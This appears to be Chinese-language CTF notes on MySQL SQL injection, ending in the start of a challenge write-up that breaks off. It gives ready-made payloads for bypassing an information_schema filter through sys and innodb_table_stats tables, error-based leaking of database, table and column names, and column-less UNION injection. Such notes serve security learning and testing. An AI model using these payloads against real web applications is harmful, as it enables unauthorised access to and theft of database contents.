select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database();
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();
使用innoDB引擎绕过information_schema
表引擎为 innoDB
MySQL > 5.5
innodb_table_stats、innodb_index_stats存放所有库名表名
select table_name from mysql.innodb_table_stats where database_name=库名;
第三种姿势
爆库名 select 1,2,3 from users where 1=abc();
爆表名 select 1,2,3 from users where Polygon(id);
爆表名 select 1,2,3 from users where linestring(id);
爆字段名 select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
爆字段名 select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
无列名注入
用数字表示对应的列
SELECT `2` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a;
当反引号不能使用时,就可以使用别名
SELECT b FROM (SELECT 1,2 as b,3 UNION SELECT * FROM users)a;
SELECT c FROM (SELECT 1,2,3 c UNION SELECT * FROM users)a;
利用 join 报错来获取列名,分别获取第一个列和第三个列
select * from (select * from users as a join users b)c;
select * from (select * from users as a join users b using(id,username))c;
wp
上面说的三种姿势都不行。
首先,发现过滤了or,空格,information_schema,#
POST数据,提示为 The used SELECT statements have a different number of columns